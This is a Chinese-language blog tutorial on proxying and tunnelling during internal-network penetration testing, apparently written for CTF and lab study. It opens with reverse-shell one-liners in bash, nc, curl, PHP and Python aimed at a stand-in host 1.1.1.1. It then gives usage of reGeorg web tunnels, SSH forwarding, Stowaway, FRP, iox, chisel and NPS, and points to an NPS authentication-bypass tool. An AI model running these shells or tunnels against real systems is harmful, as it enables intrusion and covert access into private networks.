内网渗透学习(代理篇)

本文中使用的代理工具可通过我的脚本一键下载https://github.com/dr0n1/CTF_misc_auto_deploy

反弹shell

推荐在本地部署一个reverse-shell-generator,可以很方便的查看命令

以下是几个常用的

bash -i

1
/bin/sh -i >& /dev/tcp/1.1.1.1/8888 0>&1

nc

1
2
3
4
5
6
7
8
# nc -e
nc 1.1.1.1 8888 -e /bin/sh

# nc -c
nc -c /bin/sh 1.1.1.1 8888

# nc mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 8888 >/tmp/f

curl

1
C='curl -Ns telnet://1.1.1.1:8888'; $C </dev/null 2>&1 | /bin/sh 2>&1 | $C >/dev/null

php

1
2
3
php -r '$sock=fsockopen("1.1.1.1",8888);exec("/bin/sh <&3 >&3 2>&3");'

php -r '$sock=fsockopen("1.1.1.1",8888);system("/bin/sh <&3 >&3 2>&3");'

python

1
2
3
4
5
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("1.1.1.1",8888));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'

HTTP 隧道

常用的也就是一个Neo-reGorg,其他的Tunna pystinger 等用的就比较少了

reGeorg

https://github.com/sensepost/reGeorg

  1. 上传 tunnel 文件
  2. 连接 WEB 服务器,并在本地建立 socks5 代理
1
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

Neo-reGorg

https://github.com/L-codes/Neo-reGeorg

  1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
1
python neoreg.py generate -k password
  1. 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
1
python3 neoreg.py -k password -p 6666 -u http://xx/tunnel.php

SSH隧道

常见参数

1
2
3
4
5
6
7
8
-C:压缩传输,提高传输速度
-f:表示 SSH 连接成功后,转入后台运行
-N:建立静默连接,表示只连接远程主机,不打开远程 shell
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发 (L 参数一共接受三个值,分别是 本地端口:目标主机:目标主机端口)
-R:远程端口转发 (R 参数也是接受三个值,分别是 远程主机端口:目标主机:目标主机端口)
-D:动态转发(SOCKS 代理)
-P:指定 SSH 端口

SSH隧道拓扑

本地转发

本地转发的意思是将远程主机的某个端口的数据转发到本地服务器的指定端口

这里假设192.168网段是公网,攻击机可以直连

攻击机上执行

1
2
ssh -CfNg -L 6677:172.16.10.10:8080 root@192.168.100.167
#ssh端口非默认可以用 -p 指定

就能将边界服务器上host2的流量转发到本地的6677端口上

访问本地的6677端口就能访问到内网的host2

远程转发

假设上图中的host1完全处于内网或者做了策略,使得攻击机访问不了host1了,但是host1可以访问vps(攻击机),就需要远程转发

host1上执行

1
ssh -CfNg -R 6666:172.16.10.11:8090 vps

然后访问vps的6666端口就可以访问到host3了

由于对于 host1 来说,vps 是远程主机,所以这种情况就被称为远程端口绑定


这里有一点需要注意,如果使用的是默认配置,可能导致转发后的进程是127.0.0.1

1
tcp        0      0 127.0.0.1:6666          0.0.0.0:*               LISTEN      25278/sshd: root

如果需要是0.0.0.0,则需要修改vps上ssh的配置文件

1
2
3
#/etc/ssh/sshd_config

GatewayPorts yes

systemctl restart sshd

动态转发

动态端口映射就是建立一个 SSH 加密的 SOCKS 4/5 代理通道

在vps上或者host1本身上执行都行

1
ssh -CfNg -D 0.0.0.0:4455 root@192.168.100.167

然后将执行命令的主机的ip和4455端口做socks5代理


另一种稍微麻烦一点的方式:

先在host1上执行

1
ssh -qTfnN -D 0.0.0.0:7000 root@localhost

然后转发出去即可

1
ssh -qTfnN -R 0.0.0.0:6699:0.0.0.0:7000 vps

将vps的6699端口配为socks5代理ip后就可以访问内网的host2和host3了

传输层隧道

上面的http隧道,ssh隧道,包括不常用的dns隧道,都属于应用层,下面是一些常用的 端口转发 & 内网代理工具

这些综合工具支持多种协议,这里使用其中的socks协议进行内网的代理

后续工具的命令以此图为参照

虚拟机模拟拓扑图

Stowaway

https://github.com/ph4ntonn/Stowaway

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
admin参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--socks5-proxy socks5代理服务器地址
--socks5-proxyu socks5代理服务器用户名(可选)
--socks5-proxyp socks5代理服务器密码(可选)
--http-proxy http代理服务器地址
--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS
--tls-enable 为节点通信启用TLS,在启用TLS后,AES加密将被禁用
--domain 指定TLS SNI/WebSocket域名,若为空,默认为目标节点地址
--heartbeat 开启心跳包


agent参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--socks5-proxy socks5代理服务器地址
--socks5-proxyu socks5代理服务器用户名(可选)
--socks5-proxyp socks5代理服务器密码(可选)
--http-proxy http代理服务器地址
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP/WS
--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS
--cs 运行平台的shell编码类型,默认为utf-8,可选gbk
--tls-enable 为节点通信启用TLS,在启用TLS后,AES加密将被禁用
--domain 指定TLS SNI/WebSocket域名,若为空,默认为目标节点地址

单层代理

边界服务器(host1)运行:

1
./linux_x64_admin -l 7000 -s 123

客户端(host2)运行:

1
./linux_x64_agent -c host1_ip:7000 -s 123 --reconnect 8

连接成功后在服务器端的交互窗口建立代理

1
2
use 0
socks 6666

使用host1:6666作为socks代理后就可以进行后续其他操作了


多层代理

边界服务器(host1)运行:

1
./linux_x64_admin -l 7000 -s 123

外层主机(host2)运行:

1
./linux_x64_agent -c host1_ip:7000 -s 123 --reconnect 8

建立连接后在控制端运行:

1
2
3
4
use 0
listen
1
2233

相当于在host2上监听2233端口

然后用内层主机(host4)连接外层主机(host2)的2233端口

1
./linux_x64_agent -c host2:2233 -s 123 --reconnect 8

控制端等待节点加入后建立socks代理,注意需要选择新节点

1
2
3
back
use 1
socks 6666

FRP

https://github.com/fatedier/frp

将 frpc 复制到内网服务所在的机器上。
将 frps 复制到拥有公网 IP 地址的机器上,并将它们放在任意目录。

编写配置文件,目前支持的文件格式包括 TOML/YAML/JSON,旧的 INI 格式仍然支持,但已经不再推荐。
使用以下命令启动服务器:./frps -c ./frps.toml
使用以下命令启动客户端:./frpc -c ./frpc.toml


单层代理

服务端(host1)监听端口然后启动

1
2
# frps.toml
bindPort = 7000

客户端(host2)配置

1
2
3
4
5
6
7
8
9
# frpc.toml
serverAddr = "host1_ip"
serverPort = 7000

[[proxies]]
name = "socks5"
type = "tcp"
plugin.type = "socks5"
remotePort = 6666

用proxifier或proxychains指定host1_ip和6666端口即可

还可以选择使用web控制面板或者添加token


多层代理

服务端(host1)配置

1
2
# frps.toml
bindPort = 7000

外层主机(host2)同时当(host1的)客户端和(host4的)服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
# frpc.toml
#端口转发
#将本地6666端口转发到服务端的6666端口

serverAddr = "host1_ip"
serverPort = 7000

[[proxies]]
name = "portforward"
type = "tcp"
localIP = "127.0.0.1"
localPort = 6666
remotePort = 6666
1
2
# frps.toml
bindPort = 7001

内层主机(host4)配置文件

1
2
3
4
5
6
7
8
9
# frpc.toml
serverAddr = "host2_ip"
serverPort = 7001

[[proxies]]
name = "socks5"
type = "tcp"
plugin.type = "socks5"
remotePort = 6666

iox

iox 是一个端口转发 & 内网代理工具,功能类似于lcx/ew

https://github.com/EddieIvan01/iox

端口转发

1
2
3
4
5
6
7
8
# 监听 0.0.0.0:8888 和0.0.0.0:9999,将两个连接间的流量转发
./iox fwd -l 8888 -l 9999

# 监听0.0.0.0:8888,把流量转发到1.1.1.1:9999
./iox fwd -l 8888 -r 1.1.1.1:9999

# 连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999

单层正向代理

直接在边界服务器(host1)上启动Socks5服务就好了

1
./iox proxy -l 6666

二层正向代理

外层主机(host2)启动socks服务

1
./iox proxy -l 5555

边界服务器(host1)监听端口并转发流量

1
./iox fwd -l 6666 -r host2:5555

多层正向代理

内层主机(host4)启动socks服务

1
./iox proxy -l 4444

外层主机(host2)监听端口并转发流量

1
./iox fwd -l 5555 -r host4:4444

边界服务器(host1)监听端口并转发流量

1
./iox fwd -l 6666 -r host2:5555



一层反向代理

linux攻击机上监听端口并转发

1
./iox proxy -l 7000 -l 6666

边界主机(host1)将流量转发到攻击机

1
./iox proxy -r server:7000

二层反向代理

linux攻击机上监听端口并转发

1
./iox proxy -l 7000 -l 6666

边界主机(host1)监听并将流量转发到攻击机

1
./iox fwd -l 7001 -r server:7000

外层主机(host2)开启socks代理并转发到host1

1
./iox proxy -r host1:7001

多层反向代理

linux攻击机上监听端口并转发

1
./iox proxy -l 7000 -l 6666

边界主机(host1)监听并将流量转发到攻击机

1
./iox fwd -l 7001 -r server:7000

外层主机(host2)监听并将流量转发到host1

1
./iox fwd -l 7002 -r host1:7001

内层主机(host4)开启socks代理并转发到host2

1
./iox proxy -r host2:7002

chisel

https://github.com/jpillora/chisel

单层代理

在服务端(host1)运行,表示开启7000端口来监听进行反向代理

1
./chisel server -p 7000 --reverse

客户端(host2)运行,表示连接到服务端(host1)的7000端口,把host1:6666作为socks5代理

1
./chisel client host1:7000 R:0.0.0.0:6666:socks

多层代理

还是先在服务端(host1)运行,表示开启7000端口来监听

1
./chisel server -p 7000 --reverse

外层主机(host2)即当客户端也当服务端
client的命令表示连接到服务端(host1)的7000端口,并将host4转来的5555的流量再次转到服务端(host1)上的6666端口
server的命令表示开启7001端口监听

1
2
./chisel client host1:7000 R:0.0.0.0:6666:127.0.0.1:5555
./chisel server -p 7001 --reverse

内层主机(host4)运行,连到host2:7001,并将流量转发到host2的5555端口

1
./chisel client host2:7001 R:0.0.0.0:5555:socks

搭建完毕后可以看到host1控制台有一条这样的信息:server: session#1: tun: proxy#R:6666=>5555: Listening

host2的控制台有一条:server: session#1: tun: proxy#R:5555=>socks: Listening

使用host1:6666端口作为socks代理即可

NPS

nps貌似已经不更新了,存在不少bug,非比赛环境需要谨慎使用,社区中有许多二开版本,可以自行查看

官方版本存在越权漏洞。漏洞原理是利用伪造两个参数auth_key、timestamp来完成越权操作的,修复方式是注释掉auth_crypt_key,并修改auth_key的值为随机值,auth_key记得去掉注释
https://github.com/weishen250/npscrack

服务端安装后使用 nps start 启动

然后访问8080端口 账户密码默认为 admin/123

选择新建一个客户端

然后把客户端文件传递到外层主机上后执行提供的命令

然后新增socks代理即可

linux下全局代理

在windows下可以用proxifier轻松实现进程级的全局代理

但是在linux下会有很多命令或者软件的流量不走proxychains的情况出现

这里可以用clash解决

首先在service mode点击安装,旁边的地球变绿就ok了

然后在profiles的地方编辑配置文件

选中自己配置的选项后就能实现全局代理了,注意用tun mode

包括ping命令等都可以走代理了


参考文章:

Frp内网多层隧道搭建
内网隧道穿透
内网代理搭建
内网渗透测试 <3> 隧道技术
【Tips+1】IOX 多层网络正向穿透
【Tips+1】IOX 反向穿透四层网段


内网渗透学习(代理篇)
https://www.dr0n.top/posts/52375b43/
作者
dr0n
发布于
2024年10月10日
更新于
2025年8月9日
许可协议